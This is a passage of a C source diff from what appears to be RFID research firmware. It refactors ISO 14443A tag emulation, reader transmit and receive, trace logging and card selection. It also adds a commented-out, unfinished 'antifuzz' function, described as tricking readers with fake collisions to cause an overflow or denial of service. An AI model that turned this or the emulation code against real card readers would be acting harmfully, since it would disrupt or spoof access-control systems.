(uint8_t)AT91C_BASE_SSC->SSC_RHR; i++; } } - - LastTimeProxToAirStart = ThisTransferTime + (correctionNeeded?8:0); - + LastTimeProxToAirStart = ThisTransferTime + (correctionNeeded ? 8 : 0); return 0; } -int EmSend4bitEx(uint8_t resp, bool correctionNeeded){ +int EmSend4bit(uint8_t resp){ Code4bitAnswerAsTag(resp); - int res = EmSendCmd14443aRaw(ToSend, ToSendMax, correctionNeeded); + int res = EmSendCmd14443aRaw(ToSend, ToSendMax); // do the tracing for the previous reader request and this tag answer: + uint8_t par[1] = {0x00}; + GetParity(&resp, 1, par); EmLogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, - Uart.parityBits, + Uart.parity, &resp, 1, LastTimeProxToAirStart*16 + DELAY_ARM2AIR_AS_TAG, (LastTimeProxToAirStart + LastProxToAirDuration)*16 + DELAY_ARM2AIR_AS_TAG, - SwapBits(GetParity(&resp, 1), 1)); + par); return res; } -int EmSend4bit(uint8_t resp){ - return EmSend4bitEx(resp, false); -} - -int EmSendCmdExPar(uint8_t *resp, int respLen, bool correctionNeeded, uint32_t par){ +int EmSendCmdPar(uint8_t *resp, uint16_t respLen, uint8_t *par){ CodeIso14443aAsTagPar(resp, respLen, par); - int res = EmSendCmd14443aRaw(ToSend, ToSendMax, correctionNeeded); + int res = EmSendCmd14443aRaw(ToSend, ToSendMax); // do the tracing for the previous reader request and this tag answer: EmLogTrace(Uart.output, Uart.len, Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, - Uart.parityBits, + Uart.parity, resp, respLen, LastTimeProxToAirStart*16 + DELAY_ARM2AIR_AS_TAG, (LastTimeProxToAirStart + LastProxToAirDuration)*16 + DELAY_ARM2AIR_AS_TAG, - SwapBits(GetParity(resp, respLen), respLen)); + par); return res; } -int EmSendCmdEx(uint8_t *resp, int respLen, bool correctionNeeded){ - return EmSendCmdExPar(resp, respLen, correctionNeeded, GetParity(resp, respLen)); +int EmSendCmd(uint8_t *resp, uint16_t respLen){ + uint8_t par[MAX_PARITY_SIZE] = {0x00}; + GetParity(resp, respLen, par); + return EmSendCmdPar(resp, respLen, par); } -int EmSendCmd(uint8_t *resp, int respLen){ - return EmSendCmdExPar(resp, respLen, false, GetParity(resp, respLen)); -} - -int EmSendCmdPar(uint8_t *resp, int respLen, uint32_t par){ - return EmSendCmdExPar(resp, respLen, false, par); -} - -bool EmLogTrace(uint8_t *reader_data, uint16_t reader_len, uint32_t reader_StartTime, uint32_t reader_EndTime, uint32_t reader_Parity, - uint8_t *tag_data, uint16_t tag_len, uint32_t tag_StartTime, uint32_t tag_EndTime, uint32_t tag_Parity) +bool EmLogTrace(uint8_t *reader_data, uint16_t reader_len, uint32_t reader_StartTime, uint32_t reader_EndTime, uint8_t *reader_Parity, + uint8_t *tag_data, uint16_t tag_len, uint32_t tag_StartTime, uint32_t tag_EndTime, uint8_t *tag_Parity) { - if (tracing) { - // we cannot exactly measure the end and start of a received command from reader. However we know that the delay from - // end of the received command to start of the tag's (simulated by us) answer is n*128+20 or n*128+84 resp. - // with n >= 9. The start of the tags answer can be measured and therefore the end of the received command be calculated: - uint16_t reader_modlen = reader_EndTime - reader_StartTime; - uint16_t approx_fdt = tag_StartTime - reader_EndTime; - uint16_t exact_fdt = (approx_fdt - 20 + 32)/64 * 64 + 20; - reader_EndTime = tag_StartTime - exact_fdt; - reader_StartTime = reader_EndTime - reader_modlen; - if (!LogTrace(reader_data, reader_len, reader_StartTime, reader_Parity, TRUE)) { - return FALSE; - } else if (!LogTrace(NULL, 0, reader_EndTime, 0, TRUE)) { - return FALSE; - } else if (!LogTrace(tag_data, tag_len, tag_StartTime, tag_Parity, FALSE)) { - return FALSE; - } else { - return (!LogTrace(NULL, 0, tag_EndTime, 0, FALSE)); - } - } else { - return TRUE; - } + // we cannot exactly measure the end and start of a received command from reader. However we know that the delay from + // end of the received command to start of the tag's (simulated by us) answer is n*128+20 or n*128+84 resp. + // with n >= 9. The start of the tags answer can be measured and therefore the end of the received command be calculated: + uint16_t reader_modlen = reader_EndTime - reader_StartTime; + uint16_t approx_fdt = tag_StartTime - reader_EndTime; + uint16_t exact_fdt = (approx_fdt - 20 + 32)/64 * 64 + 20; + reader_EndTime = tag_StartTime - exact_fdt; + reader_StartTime = reader_EndTime - reader_modlen; + + if (!LogTrace(reader_data, reader_len, reader_StartTime, reader_EndTime, reader_Parity, true)) + return false; + else + return(!LogTrace(tag_data, tag_len, tag_StartTime, tag_EndTime, tag_Parity, false)); + } //----------------------------------------------------------------------------- @@ -1534,9 +1728,8 @@ bool EmLogTrace(uint8_t *reader_data, uint16_t reader_len, uint32_t reader_Start // If a response is captured return TRUE // If it takes too long return FALSE //----------------------------------------------------------------------------- -static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint16_t offset, int maxLen) -{ - uint16_t c; +static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint8_t *receivedResponsePar, uint16_t offset) { + uint32_t c = 0; // Set FPGA mode to "reader listen mode", no modulation (listen // only, since we are receiving, not transmitting). @@ -1545,268 +1738,521 @@ static int GetIso14443aAnswerFromTag(uint8_t *receivedResponse, uint16_t offset, FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN); // Now get the answer from the card - DemodReset(); - Demod.output = receivedResponse; + DemodInit(receivedResponse, receivedResponsePar); // clear RXRDY: uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; - - c = 0; + + uint32_t timeout = iso14a_get_timeout(); for(;;) { WDT_HIT(); - if(AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; - if(ManchesterDecoding(b, offset, 0)) { + if (ManchesterDecoding(b, offset, 0)) { NextTransferTime = MAX(NextTransferTime, Demod.endTime - (DELAY_AIR2ARM_AS_READER + DELAY_ARM2AIR_AS_READER)/16 + FRAME_DELAY_TIME_PICC_TO_PCD); - return TRUE; - } else if(c++ > iso14a_timeout) { - return FALSE; + return true; + } else if (c++ > timeout && Demod.state == DEMOD_UNSYNCD) { + return false; } } } } -void ReaderTransmitBitsPar(uint8_t* frame, int bits, uint32_t par, uint32_t *timing) -{ +void ReaderTransmitBitsPar(uint8_t* frame, uint16_t bits, uint8_t *par, uint32_t *timing) { - CodeIso14443aBitsAsReaderPar(frame,bits,par); - + CodeIso14443aBitsAsReaderPar(frame, bits, par); // Send command to tag TransmitFor14443a(ToSend, ToSendMax, timing); - if(trigger) - LED_A_ON(); + if(trigger) LED_A_ON(); - // Log reader command in trace buffer - if (tracing) { - LogTrace(frame, nbytes(bits), LastTimeProxToAirStart*16 + DELAY_ARM2AIR_AS_READER, par, TRUE); - LogTrace(NULL, 0, (LastTimeProxToAirStart + LastProxToAirDuration)*16 + DELAY_ARM2AIR_AS_READER, 0, TRUE); - } + LogTrace(frame, nbytes(bits), (LastTimeProxToAirStart<<4) + DELAY_ARM2AIR_AS_READER, ((LastTimeProxToAirStart + LastProxToAirDuration)<<4) + DELAY_ARM2AIR_AS_READER, par, true); } -void ReaderTransmitPar(uint8_t* frame, int len, uint32_t par, uint32_t *timing) -{ - ReaderTransmitBitsPar(frame,len*8,par, timing); +void ReaderTransmitPar(uint8_t* frame, uint16_t len, uint8_t *par, uint32_t *timing) { + ReaderTransmitBitsPar(frame, len*8, par, timing); } -void ReaderTransmitBits(uint8_t* frame, int len, uint32_t *timing) -{ - // Generate parity and redirect - ReaderTransmitBitsPar(frame,len,GetParity(frame,len/8), timing); +void ReaderTransmitBits(uint8_t* frame, uint16_t len, uint32_t *timing) { + // Generate parity and redirect + uint8_t par[MAX_PARITY_SIZE] = {0x00}; + GetParity(frame, len/8, par); + ReaderTransmitBitsPar(frame, len, par, timing); } -void ReaderTransmit(uint8_t* frame, int len, uint32_t *timing) -{ - // Generate parity and redirect - ReaderTransmitBitsPar(frame,len*8,GetParity(frame,len), timing); +void ReaderTransmit(uint8_t* frame, uint16_t len, uint32_t *timing) { + // Generate parity and redirect + uint8_t par[MAX_PARITY_SIZE] = {0x00}; + GetParity(frame, len, par); + ReaderTransmitBitsPar(frame, len*8, par, timing); } -int ReaderReceiveOffset(uint8_t* receivedAnswer, uint16_t offset) -{ - if (!GetIso14443aAnswerFromTag(receivedAnswer,offset,160)) return FALSE; - if (tracing) { - LogTrace(receivedAnswer, Demod.len, Demod.startTime*16 - DELAY_AIR2ARM_AS_READER, Demod.parityBits, FALSE); - LogTrace(NULL, 0, Demod.endTime*16 - DELAY_AIR2ARM_AS_READER, 0, FALSE); - } +int ReaderReceiveOffset(uint8_t* receivedAnswer, uint16_t offset, uint8_t *parity) { + if (!GetIso14443aAnswerFromTag(receivedAnswer, parity, offset)) + return false; + LogTrace(receivedAnswer, Demod.len, Demod.startTime*16 - DELAY_AIR2ARM_AS_READER, Demod.endTime*16 - DELAY_AIR2ARM_AS_READER, parity, false); return Demod.len; } -int ReaderReceive(uint8_t* receivedAnswer) -{ - return ReaderReceiveOffset(receivedAnswer, 0); -} - -int ReaderReceivePar(uint8_t *receivedAnswer, uint32_t *parptr) -{ - if (!GetIso14443aAnswerFromTag(receivedAnswer,0,160)) return FALSE; - if (tracing) { - LogTrace(receivedAnswer, Demod.len, Demod.startTime*16 - DELAY_AIR2ARM_AS_READER, Demod.parityBits, FALSE); - LogTrace(NULL, 0, Demod.endTime*16 - DELAY_AIR2ARM_AS_READER, 0, FALSE); - } - *parptr = Demod.parityBits; +int ReaderReceive(uint8_t *receivedAnswer, uint8_t *parity) { + if (!GetIso14443aAnswerFromTag(receivedAnswer, parity, 0)) + return false; + LogTrace(receivedAnswer, Demod.len, Demod.startTime*16 - DELAY_AIR2ARM_AS_READER, Demod.endTime*16 - DELAY_AIR2ARM_AS_READER, parity, false); return Demod.len; } -/* performs iso14443a anticollision procedure - * fills the uid pointer unless NULL - * fills resp_data unless NULL */ -int iso14443a_select_card(byte_t* uid_ptr, iso14a_card_select_t* p_hi14a_card, uint32_t* cuid_ptr) { - uint8_t wupa[] = { 0x52 }; // 0x26 - REQA 0x52 - WAKE-UP - uint8_t sel_all[] = { 0x93,0x20 }; - uint8_t sel_uid[] = { 0x93,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; - uint8_t rats[] = { 0xE0,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0 - uint8_t* resp = (((uint8_t *)BigBuf) + FREE_BUFFER_OFFSET); // was 3560 - tied to other size changes - byte_t uid_resp[4]; - size_t uid_resp_len; - - uint8_t sak = 0x04; // cascade uid - int cascade_level = 0; - int len; - - // Broadcast for a card, WUPA (0x52) will force response from all cards in the field - ReaderTransmitBitsPar(wupa,7,0, NULL); +// This function misstreats the ISO 14443a anticollision procedure. +// by fooling the reader there is a collision and forceing the reader to +// increase the uid bytes. The might be an overflow, DoS will occure. +void iso14443a_antifuzz(uint32_t flags){ + /* + uint8_t uidlen = 4+1+1+2; + if (( flags & 2 ) == 2 ) + uidlen = 7+1+1+2; + if (( flags & 4 ) == 4 ) + uidlen = 10+1+1+2; + + uint8_t *uid = BigBuf_malloc(uidlen); - // Receive the ATQA - if(!ReaderReceive(resp)) return 0; - // Dbprintf("atqa: %02x %02x",resp[0],resp[1]); + // The first response contains the ATQA (note: bytes are transmitted in reverse order). + // Mifare Classic 1K + uint8_t atqa[] = {0x04, 0}; - if(p_hi14a_card) { - memcpy(p_hi14a_card->atqa, resp, 2); - p_hi14a_card->uidlen = 0; - memset(p_hi14a_card->uid,0,10); - } + if ( (flags & 2) == 2 ) { + uid[0] = 0x88; // Cascade Tag marker + uid[1] = 0x01; - // clear uid - if (uid_ptr) { - memset(uid_ptr,0,10); - } + // Configure the ATQA accordingly + atqa[0] |= 0x40; + } else { + memcpy(response2, data, 4); + // Configure the ATQA accordingly + atqa[0] &= 0xBF; + } + + // We need to listen to the high-frequency, peak-detected path. + iso14443a_setup(FPGA_HF_ISO14443A_TAGSIM_LISTEN); - // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in - // which case we need to make a cascade 2 request and select - this is a long UID - // While the UID is not complete, the 3nd bit (from the right) is set in the SAK. - for(; sak & 0x04; cascade_level++) { - // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97) - sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2; - - // SELECT_ALL - ReaderTransmit(sel_all,sizeof(sel_all), NULL); - if (!ReaderReceive(resp)) return 0; - - if (Demod.collisionPos) { // we had a collision and need to construct the UID bit by bit - memset(uid_resp, 0, 4); - uint16_t uid_resp_bits = 0; - uint16_t collision_answer_offset = 0; - // anti-collision-loop: - while (Demod.collisionPos) { - Dbprintf("Multiple tags detected. Collision after Bit %d", Demod.collisionPos); - for (uint16_t i = collision_answer_offset; i < Demod.collisionPos; i++, uid_resp_bits++) { // add valid UID bits before collision point - uint16_t UIDbit = (resp[i/8] >> (i % 8)) & 0x01; - uid_resp[uid_resp_bits & 0xf8] |= UIDbit << (uid_resp_bits % 8); - } - uid_resp[uid_resp_bits/8] |= 1 << (uid_resp_bits % 8); // next time select the card(s) with a 1 in the collision position - uid_resp_bits++; - // construct anticollosion command: - sel_uid[1] = ((2 + uid_resp_bits/8) << 4) | (uid_resp_bits & 0x07); // length of data in bytes and bits - for (uint16_t i = 0; i <= uid_resp_bits/8; i++) { - sel_uid[2+i] = uid_resp[i]; - } - collision_answer_offset = uid_resp_bits%8; - ReaderTransmitBits(sel_uid, 16 + uid_resp_bits, NULL); - if (!ReaderReceiveOffset(resp, collision_answer_offset)) return 0; + // allocate buffers: + uint8_t *received = BigBuf_malloc(MAX_FRAME_SIZE); + uint8_t *receivedPar = BigBuf_malloc(MAX_PARITY_SIZE); + uint16_t counter = 0; + + int len = 0; + + BigBuf_free(); + clear_trace(); + set_tracing(true); + + LED_A_ON(); + for (;;) { + WDT_HIT(); + + // Clean receive command buffer + if (!GetIso14443aCommandFromReader(received, receivedPar, &len)) { + Dbprintf("Anti-fuzz stopped. Tracing: %d trace length: %d ", tracing, BigBuf_get_traceLen()); + break; } - // finally, add the last bits and BCC of the UID - for (uint16_t i = collision_answer_offset; i < (Demod.len-1)*8; i++, uid_resp_bits++) { - uint16_t UIDbit = (resp[i/8] >> (i%8)) & 0x01; - uid_resp[uid_resp_bits/8] |= UIDbit << (uid_resp_bits % 8); + p_response = NULL; + + // look at the command now. + if (received[0] == ISO14443A_CMD_REQA) { // Received a REQUEST + p_response = &responses[0]; + } else if (received[0] == ISO14443A_CMD_WUPA) { // Received a WAKEUP + p_response = &responses[0]; + } else if (received[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT) { // Received request for UID (cascade 1) + p_response = &responses[1]; + } else if (received[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_2) { // Received request for UID (cascade 2) + p_response = &responses[2]; + } else if (received[1] == 0x70 && received[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT) { // Received a SELECT (cascade 1) + p_response = &responses[3]; + } else if (received[1] == 0x70 && received[0] == ISO14443A_CMD_ANTICOLL_OR_SELECT_2) { // Received a SELECT (cascade 2) + p_response = &responses[4]; } - - } else { // no collision, use the response to SELECT_ALL as current uid - memcpy(uid_resp,resp,4); + if (p_response != NULL) { + + EmSendCmd14443aRaw(p_response->modulation, p_response->modulation_n); + // do the tracing for the previous reader request and this tag answer: + uint8_t par[MAX_PARITY_SIZE] = {0x00}; + GetParity(p_response->response, p_response->response_n, par); + + EmLogTrace(Uart.output, + Uart.len, + Uart.startTime*16 - DELAY_AIR2ARM_AS_TAG, + Uart.endTime*16 - DELAY_AIR2ARM_AS_TAG, + Uart.parity, + p_response->response, + p_response->response_n, + LastTimeProxToAirStart*16 + DELAY_ARM2AIR_AS_TAG, + (LastTimeProxToAirStart + p_response->ProxToAirDuration)*16 + DELAY_ARM2AIR_AS_TAG, + par); + } + counter++; } - uid_resp_len = 4; - // Dbprintf("uid: %02x %02x %02x %02x",uid_resp[0],uid_resp[1],uid_resp[2],uid_resp[3]); - // calculate crypto UID. Always use last 4 Bytes. - if(cuid_ptr) { - *cuid_ptr = bytes_to_num(uid_resp, 4); - } + cmd_send(CMD_ACK,1,0,0,0,0); + switch_off(); + Dbprintf("-[ UID until no response [%d]", counter); +*/ +} - // Construct SELECT UID command - sel_uid[1] = 0x70; // transmitting a full UID (1 Byte cmd, 1 Byte NVB, 4 Byte UID, 1 Byte BCC, 2 Bytes CRC) - memcpy(sel_uid+2,uid_resp,4); // the UID - sel_uid[6] = sel_uid[2] ^ sel_uid[3] ^ sel_uid[4] ^ sel_uid[5]; // calculate and add BCC - AppendCrc14443a(sel_uid,7); // calculate and add CRC - ReaderTransmit(sel_uid,sizeof(sel_uid), NULL); +static void iso14a_set_ATS_times(uint8_t *ats) { - // Receive the SAK - if (!ReaderReceive(resp)) return 0; - sak = resp[0]; + uint8_t tb1; + uint8_t fwi, sfgi; + uint32_t fwt, sfgt; + + if (ats[0] > 1) { // there is a format byte T0 + if ((ats[1] & 0x20) == 0x20) { // there is an interface byte TB(1) + if ((ats[1] & 0x10) == 0x10) { // there is an interface byte TA(1) preceding TB(1) + tb1 = ats[3]; + } else { + tb1 = ats[2]; + } + fwi = (tb1 & 0xf0) >> 4; // frame waiting time integer (FWI) + if (fwi != 15) { + fwt = 256 * 16 * (1 << fwi); // frame waiting time (FWT) in 1/fc + iso14a_set_timeout(fwt/(8*16)); + } + sfgi = tb1 & 0x0f; // startup frame guard time integer (SFGI) + if (sfgi != 0 && sfgi != 15) { + sfgt = 256 * 16 * (1 << sfgi); // startup frame guard time (SFGT) in 1/fc + NextTransferTime = MAX(NextTransferTime, Demod.endTime + (sfgt - DELAY_AIR2ARM_AS_READER - DELAY_ARM2AIR_AS_READER)/16); + } + } + } +} - // Test if more parts of the uid are comming - if ((sak & 0x04) /* && uid_resp[0] == 0x88 */) { - // Remove first byte, 0x88 is not an UID byte, it CT, see page 3 of: - // http://www.nxp.com/documents/application_note/AN10927.pdf - memcpy(uid_resp, uid_resp + 1, 3); - uid_resp_len = 3; - } +static int GetATQA(uint8_t *resp, uint8_t *resp_par) { - if(uid_ptr) { - memcpy(uid_ptr + (cascade_level*3), uid_resp, uid_resp_len); - } +#define WUPA_RETRY_TIMEOUT 10 // 10ms + uint8_t wupa[] = { ISO14443A_CMD_WUPA }; // 0x26 - REQA 0x52 - WAKE-UP - if(p_hi14a_card) { - memcpy(p_hi14a_card->uid + (cascade_level*3), uid_resp, uid_resp_len); - p_hi14a_card->uidlen += uid_resp_len; - } - } + uint32_t save_iso14a_timeout = iso14a_get_timeout(); + iso14a_set_timeout(1236/(16*8)+1); // response to WUPA is expected at exactly 1236/fc. No need to wait longer. + + uint32_t start_time = GetTickCount(); + int len; + + // we may need several tries if we did send an unknown command or a wrong authentication before... + do { + // Broadcast for a card, WUPA (0x52) will force response from all cards in the field + ReaderTransmitBitsPar(wupa, 7, NULL, NULL); + // Receive the ATQA + len = ReaderReceive(resp, resp_par); + } while (len == 0 && GetTickCount() <= start_time + WUPA_RETRY_TIMEOUT); + + iso14a_set_timeout(save_iso14a_timeout); + return len; +} - if(p_hi14a_card) { - p_hi14a_card->sak = sak; - p_hi14a_card->ats_len = 0; - } +// performs iso14443a anticollision (optional) and card select procedure +// fills the uid and cuid pointer unless NULL +// fills the card info record unless NULL +// if anticollision is false, then the UID must be provided in uid_ptr[] +// and num_cascades must be set (1: 4 Byte UID, 2: 7 Byte UID, 3: 10 Byte UID) +// requests ATS unless no_rats is true +int iso14443a_select_card(byte_t *uid_ptr, iso14a_card_select_t *p_card, uint32_t *cuid_ptr, bool anticollision, uint8_t num_cascades, bool no_rats) { + + uint8_t sel_all[] = { ISO14443A_CMD_ANTICOLL_OR_SELECT,0x20 }; + uint8_t sel_uid[] = { ISO14443A_CMD_ANTICOLL_OR_SELECT,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; + uint8_t rats[] = { ISO14443A_CMD_RATS,0x80,0x00,0x00 }; // FSD=256, FSDI=8, CID=0 + uint8_t resp[MAX_FRAME_SIZE] = {0}; // theoretically. A usual RATS will be much smaller + uint8_t resp_par[MAX_PARITY_SIZE] = {0}; + uint8_t uid_resp[4] = {0}; + size_t uid_resp_len = 0; - if( (sak & 0x20) == 0) { - return 2; // non iso14443a compliant tag - } + uint8_t sak = 0x04; // cascade uid + int cascade_level = 0; + int len; - // Request for answer to select - AppendCrc14443a(rats, 2); - ReaderTransmit(rats, sizeof(rats), NULL); + if (p_card) { + p_card->uidlen = 0; + memset(p_card->uid, 0, 10); + p_card->ats_len = 0; + } + + if (!GetATQA(resp, resp_par)) { + return 0; + } - if (!(len = ReaderReceive(resp))) return 0; + if (p_card) { + p_card->atqa[0] = resp[0]; + p_card->atqa[1] = resp[1]; + } - if(p_hi14a_card) { - memcpy(p_hi14a_card->ats, resp, sizeof(p_hi14a_card->ats)); - p_hi14a_card->ats_len = len; - } + if (anticollision) { + // clear uid + if (uid_ptr) + memset(uid_ptr, 0, 10); + } + + // check for proprietary anticollision: + if ((resp[0] & 0x1F) == 0) return 3; + + // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in + // which case we need to make a cascade 2 request and select - this is a long UID + // While the UID is not complete, the 3nd bit (from the right) is set in the SAK. + for(; sak & 0x04; cascade_level++) { + // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97) + sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2; - // reset the PCB block number - iso14_pcb_blocknum = 0; - return 1; + if (anticollision) { + // SELECT_ALL + ReaderTransmit(sel_all, sizeof(sel_all), NULL); + if (!ReaderReceive(resp, resp_par)) return 0; + + if (Demod.collisionPos) { // we had a collision and need to construct the UID bit by bit + memset(uid_resp, 0, 4); + uint16_t uid_resp_bits = 0; + uint16_t collision_answer_offset = 0; + // anti-collision-loop: + while (Demod.collisionPos) { + Dbprintf("Multiple tags detected. Collision after Bit %d", Demod.collisionPos); + for (uint16_t i = collision_answer_offset; i < Demod.collisionPos; i++, uid_resp_bits++) { // add valid UID bits before collision point + uint16_t UIDbit = (resp[i/8] >> (i % 8)) & 0x01; + uid_resp[uid_resp_bits / 8] |= UIDbit << (uid_resp_bits % 8); + } + uid_resp[uid_resp_bits/8] |= 1 << (uid_resp_bits % 8); // next time select the card(s) with a 1 in the collision position + uid_resp_bits++; + // construct anticollosion command: + sel_uid[1] = ((2 + uid_resp_bits/8) << 4) | (uid_resp_bits & 0x07); // length of data in bytes and bits + for (uint16_t i = 0; i <= uid_resp_bits/8; i++) { + sel_uid[2+i] = uid_resp[i]; + } + collision_answer_offset = uid_resp_bits%8; + ReaderTransmitBits(sel_uid, 16 + uid_resp_bits, NULL); + if (!ReaderReceiveOffset(resp, collision_answer_offset, resp_par)) return 0; + } + // finally, add the last bits and BCC of the UID + for (uint16_t i = collision_answer_offset; i < (Demod.len-1)*8; i++, uid_resp_bits++) { + uint16_t UIDbit = (resp[i/8] >> (i%8)) & 0x01; + uid_resp[uid_resp_bits/8] |= UIDbit << (uid_resp_bits % 8); + } + + } else { // no collision, use the response to SELECT_ALL as current uid + memcpy(uid_resp, resp, 4); + } + + } else { + if (cascade_level < num_cascades - 1) { + uid_resp[0] = 0x88; + memcpy(uid_resp+1, uid_ptr+cascade_level*3, 3); + } else { + memcpy(uid_resp, uid_ptr+cascade_level*3, 4); + } + } + uid_resp_len = 4; + + // calculate crypto UID. Always use last 4 Bytes. + if(cuid_ptr) + *cuid_ptr = bytes_to_num(uid_resp, 4); + + // Construct SELECT UID command + sel_uid[1] = 0x70; // transmitting a full UID (1 Byte cmd, 1 Byte NVB, 4 Byte UID, 1 Byte BCC, 2 Bytes CRC) + memcpy(sel_uid+2, uid_resp, 4); // the UID received during anticollision, or the provided UID + sel_uid[6] = sel_uid[2] ^ sel_uid[3] ^ sel_uid[4] ^ sel_uid[5]; // calculate and add BCC + AddCrc14A(sel_uid, 7); // calculate and add CRC + ReaderTransmit(sel_uid, sizeof(sel_uid), NULL); + + // Receive the SAK + if (!ReaderReceive(resp, resp_par)) return 0; + + sak = resp[0]; + + // Test if more parts of the uid are coming + if ((sak & 0x04) /* && uid_resp[0] == 0x88 */) { + // Remove first byte, 0x88 is not an UID byte, it CT, see page 3 of: + // http://www.nxp.com/documents/application_note/AN10927.pdf + uid_resp[0] = uid_resp[1]; + uid_resp[1] = uid_resp[2]; + uid_resp[2] = uid_resp[3]; + uid_resp_len = 3; + } + + if(uid_ptr && anticollision) + memcpy(uid_ptr + (cascade_level*3), uid_resp, uid_resp_len); + + if(p_card) { + memcpy(p_card->uid + (cascade_level*3), uid_resp, uid_resp_len); + p_card->uidlen += uid_resp_len; + } + } + + if (p_card) { + p_card->sak = sak; + } + + // PICC compilant with iso14443a-4 ---> (SAK & 0x20 != 0) + if( (sak & 0x20) == 0) return 2; + + // RATS, Request for answer to select + if ( !no_rats ) { + + AddCrc14A(rats, 2); + ReaderTransmit(rats, sizeof(rats), NULL); + len = ReaderReceive(resp, resp_par); + + if (!len) return 0; + + if (p_card) { + memcpy(p_card->ats, resp, sizeof(p_card->ats)); + p_card->ats_len = len; + } + + // reset the PCB block number + iso14_pcb_blocknum = 0; + + // set default timeout and delay next transfer based on ATS + iso14a_set_ATS_times(resp); + } + return 1; +} + +int iso14443a_fast_select_card(uint8_t *uid_ptr, uint8_t num_cascades) { + uint8_t sel_all[] = { ISO14443A_CMD_ANTICOLL_OR_SELECT,0x20 }; + uint8_t sel_uid[] = { ISO14443A_CMD_ANTICOLL_OR_SELECT,0x70,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; + uint8_t resp[5] = {0}; // theoretically. A usual RATS will be much smaller + uint8_t resp_par[1] = {0}; + uint8_t uid_resp[4] = {0}; + + uint8_t sak = 0x04; // cascade uid + int cascade_level = 0; + + if (!GetATQA(resp, resp_par)) { + return 0; + } + + // OK we will select at least at cascade 1, lets see if first byte of UID was 0x88 in + // which case we need to make a cascade 2 request and select - this is a long UID + // While the UID is not complete, the 3nd bit (from the right) is set in the SAK. + for(; sak & 0x04; cascade_level++) { + // SELECT_* (L1: 0x93, L2: 0x95, L3: 0x97) + sel_uid[0] = sel_all[0] = 0x93 + cascade_level * 2; + + if (cascade_level < num_cascades - 1) { + uid_resp[0] = 0x88; + memcpy(uid_resp+1, uid_ptr+cascade_level*3, 3); + } else { + memcpy(uid_resp, uid_ptr+cascade_level*3, 4); + } + + // Construct SELECT UID command + //sel_uid[1] = 0x70; // transmitting a full UID (1 Byte cmd, 1 Byte NVB, 4 Byte UID, 1 Byte BCC, 2 Bytes CRC) + memcpy(sel_uid+2, uid_resp, 4); // the UID received during anticollision, or the provided UID + sel_uid[6] = sel_uid[2] ^ sel_uid[3] ^ sel_uid[4] ^ sel_uid[5]; // calculate and add BCC + AddCrc14A(sel_uid, 7); // calculate and add CRC + ReaderTransmit(sel_uid, sizeof(sel_uid), NULL); + + // Receive the SAK + if (!ReaderReceive(resp, resp_par)) return 0; + + sak = resp[0]; + + // Test if more parts of the uid are coming + if ((sak & 0x04) /* && uid_resp[0] == 0x88 */) { + // Remove first byte, 0x88 is not an UID byte, it CT, see page 3 of: + // http://www.nxp.com/documents/application_note/AN10927.pdf + uid_resp[0] = uid_resp[1]; + uid_resp[1] = uid_resp[2]; + uid_resp[2] = uid_resp[3]; + } + } + return 1; } void iso14443a_setup(uint8_t fpga_minor_mode) { + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); // Set up the synchronous serial port FpgaSetupSsc(); // connect Demodulated Signal to ADC: SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + LED_D_OFF(); // Signal field is on with the appropriate LED - if (fpga_minor_mode == FPGA_HF_ISO14443A_READER_MOD - || fpga_minor_mode == FPGA_HF_ISO14443A_READER_LISTEN) { + if (fpga_minor_mode == FPGA_HF_ISO14443A_READER_MOD || + fpga_minor_mode == FPGA_HF_ISO14443A_READER_LISTEN) LED_D_ON(); - } else { - LED_D_OFF(); - } - FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | fpga_minor_mode); + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | fpga_minor_mode); + SpinDelay(100); + // Start the timer StartCountSspClk(); + // Prepare the demodulation functions DemodReset(); UartReset(); - NextTransferTime = 2*DELAY_ARM2AIR_AS_READER; - iso14a_set_timeout(1050); // 10ms default + NextTransferTime = 2 * DELAY_ARM2AIR_AS_READER; + iso14a_set_timeout(1060); // 106 * 10ms default } -int iso14_apdu(uint8_t * cmd, size_t cmd_len, void * data) { +/* Peter Fillmore 2015 +Added card id field to the function + info from ISO14443A standard +b1 = Block Number +b2 = RFU (always 1) +b3 = depends on block +b4 = Card ID following if set to 1 +b5 = depends on block type +b6 = depends on block type +b7,b8 = block type. +Coding of I-BLOCK: +b8 b7 b6 b5 b4 b3 b2 b1 +0 0 0 x x x 1 x +b5 = chaining bit +Coding of R-block: +b8 b7 b6 b5 b4 b3 b2 b1 +1 0 1 x x 0 1 x +b5 = ACK/NACK +Coding of S-block: +b8 b7 b6 b5 b4 b3 b2 b1 +1 1 x x x 0 1 0 +b5,b6 = 00 - DESELECT + 11 - WTX +*/ +int iso14_apdu(uint8_t *cmd, uint16_t cmd_len, void *data) { + uint8_t parity[MAX_PARITY_SIZE] = {0x00}; uint8_t real_cmd[cmd_len+4]; - real_cmd[0] = 0x0a; //I-Block + + // ISO 14443 APDU frame: PCB [CID] [NAD] APDU CRC PCB=0x02 + real_cmd[0] = 